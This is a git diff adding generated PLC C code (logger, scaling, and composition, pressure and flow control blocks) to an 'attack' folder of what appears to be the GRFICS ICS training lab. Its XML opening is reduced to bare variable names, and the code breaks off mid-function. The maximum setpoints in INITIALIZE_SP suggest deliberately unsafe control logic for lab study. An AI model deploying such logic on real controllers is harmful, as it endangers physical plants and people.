+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if 